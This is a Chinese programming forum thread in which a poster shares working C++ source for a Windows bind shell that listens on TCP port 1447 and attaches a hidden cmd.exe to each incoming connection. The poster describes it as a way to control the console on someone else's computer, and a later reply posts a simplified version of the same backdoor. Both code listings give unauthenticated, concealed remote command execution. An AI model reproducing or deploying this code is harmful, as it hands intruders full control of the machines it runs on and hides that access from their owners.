鱼C论坛

 找回密码
 立即注册
查看: 6645|回复: 8

[技术交流] 0管道 CMD远程登录。

[复制链接]
发表于 2015-7-12 12:46:52 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
原理是把Socket套接字句柄作为子进程的stdin、stdout、stderr管道。
要实现这一步必须用WSASocket创建套接字。 不用创建管道,省区许多麻烦事儿。

上一张用Telnet连接的图吧。

仅供学习~不要干坏事哦。

@漩涡鸣人 @kklloo @~风介~ @牡丹花下死做鬼  
tty.jpg

  1. // ScoketPip.cpp : 定义应用程序的入口点。
  2. //

  3. #include "stdafx.h"
  4. #include "ScoketPip.h"
  5. #include <WinSock2.h>
  6. #pragma comment(lib,"ws2_32.lib")
  7. typedef struct
  8. {
  9.         SOCKET childFd;
  10.         SOCKADDR_IN childaddr;
  11.         DWORD thread_id;
  12. }WorkInfo;
  13. DWORD WINAPI thread_worker(PVOID Parm)
  14. {
  15.         // 这是工作线程函数
  16.         WorkInfo info1;
  17.         PROCESS_INFORMATION pi={0};
  18.         STARTUPINFOA si={0};
  19.         memcpy(&info1,Parm,sizeof(WorkInfo));
  20.         // 创建进程
  21.         si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
  22.         si.wShowWindow = SW_HIDE;
  23.         si.hStdInput = si.hStdOutput = si.hStdError = (void *)info1.childFd;
  24.         char *welcome = "远程CMD\n作者:无名侠\n主页:www.pandaos.net\n";
  25.         send(info1.childFd,welcome,strlen(welcome)+1,0);
  26.         DWORD ret=CreateProcessA(NULL,"cmd.exe",
  27.                 NULL,NULL,1,0,NULL,NULL,&si,&pi);
  28.         if (!ret)
  29.         {
  30.                 char *error = "无法访问cmd.exe\n连接失败...\n";
  31.                 send(info1.childFd,error,strlen(error)+1,0);
  32.         }
  33.        
  34.        
  35.         closesocket(info1.childFd);

  36.         // 销毁
  37.         return ret;
  38. }
  39. int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
  40.                      _In_opt_ HINSTANCE hPrevInstance,
  41.                      _In_ LPTSTR    lpCmdLine,
  42.                      _In_ int       nCmdShow)
  43. {
  44.         WSADATA wd={0};
  45.         SOCKET sock;
  46.         SOCKADDR_IN sockaddr={0};
  47.         WSAStartup(MAKEWORD(2,2),&wd);
  48.         sock = WSASocket(AF_INET, SOCK_STREAM,
  49.                 IPPROTO_TCP, NULL, 0, 0);
  50.         if (sock==INVALID_SOCKET)
  51.                 ExitProcess(-1);
  52.         sockaddr.sin_family = AF_INET;
  53.         sockaddr.sin_port=htons(1447);
  54.         sockaddr.sin_addr.S_un.S_addr=ADDR_ANY;
  55.         if(bind(sock,(SOCKADDR *)&sockaddr,sizeof(sockaddr)))
  56.                 ExitProcess(-2);
  57.         if(listen(sock,5))
  58.                 ExitProcess(-3);
  59.         // 为每个用户运行一个cmd控制台
  60.         while (true)
  61.         {
  62.                 WorkInfo newwork;
  63.                 int slen;
  64.                 slen = sizeof(SOCKADDR_IN);
  65.                 newwork.childFd=accept(sock,(SOCKADDR *)&newwork.childaddr,&slen);
  66.                 if (newwork.childFd!=INVALID_SOCKET)
  67.                 {
  68.                         HANDLE hThread;
  69.                         hThread = CreateThread(NULL,0,thread_worker,&newwork,0,&newwork.thread_id);
  70.                         CloseHandle(hThread);
  71.                 }
  72.                 Sleep(200);
  73.         }
  74. }
复制代码

评分

参与人数 1荣誉 +7 鱼币 +7 贡献 +5 收起 理由
拈花小仙 + 7 + 7 + 5

查看全部评分

想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2015-7-12 12:52:11 | 显示全部楼层
表示 暂时完全不知道你写了什么
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2015-7-12 12:54:57 | 显示全部楼层
牡丹花下死做鬼 发表于 2015-7-12 12:52
表示 暂时完全不知道你写了什么

这个可以操控别人电脑上的控制台。
操作的时候就想在操作自己电脑的控制台一样,
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2015-7-12 19:04:31 | 显示全部楼层
编译器报错说没有这两个头文件:
  1. #include "stdafx.h"
  2. #include "ScoketPip.h"
复制代码

看来我还是搞不懂具体的步骤啊~
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2015-7-12 19:08:35 | 显示全部楼层
~风介~ 发表于 2015-7-12 19:04
编译器报错说没有这两个头文件:

看来我还是搞不懂具体的步骤啊~

去掉就行了。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2015-7-12 19:09:25 | 显示全部楼层
~风介~ 发表于 2015-7-12 19:04
编译器报错说没有这两个头文件:

看来我还是搞不懂具体的步骤啊~

有点懒,每次都让vc自动导入头文件。
#include <windows.h> 记得加上。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2015-7-17 20:26:25 | 显示全部楼层
刷点鱼币 只为下载 路过
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2016-2-29 22:29:50 | 显示全部楼层
请教楼主一个问题,我用telnet运行一些命令不起作用,但是在cmd下就可以,同一台主机。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2018-2-7 09:49:55 | 显示全部楼层
感谢楼主,我这里稍微整理了一下,改成单线程的看的清楚有需要再改成多线程的。
  1. /**
  2. * TelNet服务端
  3. * @by skn
  4. */
  5. #include <winsock2.h>
  6. #pragma comment(lib,"ws2_32.lib")

  7. int main(char *argc,char *argv[])
  8. {
  9.     WSADATA wsaData;
  10.     WORD sockVersion = MAKEWORD(2,2);
  11.     WSAStartup(sockVersion,&wsaData);

  12.     //SOCKET s = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  13.     SOCKET s = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
  14.     if(s == INVALID_SOCKET)
  15.     {
  16.         return -1;
  17.     }

  18.     sockaddr_in sin;
  19.     sin.sin_family = AF_INET;
  20.     sin.sin_port = htons(1447);
  21.     sin.sin_addr.S_un.S_addr = INADDR_ANY;
  22.     if(bind(s,(LPSOCKADDR)&sin,sizeof(sin)) == SOCKET_ERROR)
  23.     {
  24.         return -1;
  25.     }

  26.     if(listen(s,SOMAXCONN) == SOCKET_ERROR)
  27.     {
  28.         return -1;
  29.     }

  30.     while(true)
  31.     {
  32.         sockaddr_in remoteAddr;
  33.         int nAddrLen = sizeof(sockaddr_in);
  34.         SOCKET client = accept(s,(SOCKADDR*)&remoteAddr,&nAddrLen);
  35.         if(client == INVALID_SOCKET)
  36.         {
  37.             continue;
  38.         }

  39.         PROCESS_INFORMATION pi = {0};
  40.         STARTUPINFOA si = {0};
  41.         si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
  42.         si.wShowWindow = SW_HIDE;
  43.         si.hStdInput = si.hStdOutput = si.hStdError = (void *)client;
  44.         CreateProcessA(NULL,"cmd.exe",NULL,NULL,1,0,NULL,NULL,&si,&pi);
  45.         closesocket(client);
  46.     }

  47.     WSACleanup();
  48.     return 1;
  49. }
复制代码
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2024-4-25 18:50

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表